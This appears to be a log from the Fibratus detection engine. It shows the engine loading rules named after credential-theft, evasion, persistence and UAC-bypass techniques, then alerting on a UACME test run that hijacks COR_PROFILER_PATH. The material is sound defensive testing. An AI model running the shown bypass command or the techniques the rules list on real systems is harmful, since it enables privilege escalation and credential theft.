C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:31:47+01:00 level=info msg=bootstrapping with pid 19156. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:31:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-image=>true enable-fileio=>true enable-threadpool=>false enable-thread=>true enable-vamap=>true enable-mem=>false buffer-size=>512 enable-audit-api=>true max-buffers=>36 stack-enrichment=>true min-buffers=>16 enable-net=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text level=>info log-stdout=>true max-age=>0 max-backups=>15] + output ......................... [ elasticsearch=>[ gzip-compression=>false index-name=>fibratus flush-period=>1s healthcheck=>true timeout=>5s healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s bulk-workers=>1 trace-log=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ durable=>false vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 enabled=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false passive=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST timeout=>5s enable-gzip=>false enabled=>false endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-files=>false skip-registry=>false enabled=>false skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:31:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:31:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:31:59+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 4449939 + Pid: 14516 + Tid: 2464 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 18:31:55.2706001 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce8648336940, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14516 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 